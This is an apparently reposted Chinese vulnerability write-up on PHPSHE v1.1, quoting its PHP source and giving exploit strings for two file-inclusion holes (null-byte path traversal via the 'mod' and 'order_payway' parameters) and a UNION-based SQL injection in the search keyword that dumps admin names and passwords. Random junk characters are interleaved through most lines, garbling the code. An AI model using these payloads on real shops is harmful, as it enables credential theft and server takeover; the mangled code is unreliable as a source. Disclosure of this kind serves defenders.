phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
3 \' ^1 N( B5 t/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
8 A: s2 }; T& S+ Q5 p* x9 \7 d/* E-Mail : 681796@qq.com
8 T. K7 y' a% p+ \/*******************************************************/
0×00 整体大概参数传输
+ E% w% u/ Z7 h' [5 e8 k& J


//common.php
/ @3 K" u+ V* G2 ~7 T7 x. @if (get_magic_quotes_gpc()) {
7 ]% S" x2 ]) c: [!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
% C; U4 m( l* g) Oelse {
2 Q3 m* ], i' M$ j/ ?% F!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
; E2 K7 S- k, y7 Dsession_start();
1 S5 l8 w: Y5 x  ~. i" g8 k!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

; |0 n* X0 X! G! ~0×01 包含漏洞
; P' f& q0 z) K0 [

//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% M$ H/ E- u4 Y4 [* sinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
7 N9 q* r3 b; spe_result();
- \" g/ _& k1 C( K?>
5 P' _$ x5 ~% ^4 S. X/ J7 t0 q//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
; E- @& X3 M& w8 q5 P! f" L$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
. O+ O- m2 V% N7 u# r$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 G3 W9 F7 K/ h8 P+ V//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
' J0 S. u" k1 E; C3 O7 V8 q
<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
" a# r3 H! X' P" Q7 S* e$info = $db->pe_select('category', array('category_id'=>$category_id));
5 p! Q3 l" d( y  q( m9 O+ G//搜索
2 ^* N1 e& W# ?4 u% A$sqlwhere = " and `product_state` = 1";
! S, Y/ J' j2 Y( k2 u/ a, Tpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ A- L3 d" h4 L/ b1 A! t8 W}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
- F! U( z% ~4 Hif ($_g_orderby) {
' Y5 _; \( y! ^# }  k4 f5 l( c$orderby = explode('_', $_g_orderby);
2 X" l; c( R- e7 |6 Y8 ?6 ]+ L$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
  [! U1 U6 O4 ], X+ Z3 d, L}
. \" l7 I" e& H3 D3 b' }else {
' m1 K5 \# n) L/ Z  Y$sqlwhere .= " order by `product_id` desc";
( v$ Q3 W3 a# k  p5 K$ e8 V5 A}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
" u0 J; F( N9 U! C5 u$product_hotlist = product_hotlist();
; Q" U( f4 z4 a# ]/ u) ]//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
/ A( S! U0 O1 o: n- `" J" iinclude(pe_tpl('product_list.html'));
! R. ^: U& W1 L! N//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
+ t( `$ _3 E. `1 T//处理条件语句
2 U( A& E7 c# X6 `* G' M$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
- `& n& F0 B7 |/ c7 q9 K% M# `) [! h

</code>
5 g$ R6 K8 c" J! ]* V( K% X
0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

: ?- ^$ Y# E8 D$ u4 @" xforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

9 h6 \( `9 H; h6 J7 s* B0 }$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

3 r6 G: F% H7 w, J- p2 Zif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

4 t, _3 J: b9 \* f: ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

# i5 J: e( b4 r7 L6 L8 _$order['order_name'] .= "{$v['product_name']};";
8 Y! x3 u5 ?* ]

}

( o0 s3 h* d" f, M  O9 vecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

/ u$ F7 p4 r. M2 @}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

7 i) @% t: W, hpe_error('支付错误...');

}

& V6 w0 K' j1 H+ [  _; E  t$ n: {. K}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

% N1 V: ^$ B: e: i8 J* n" sbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 U1 _! h2 Z1 F$ Q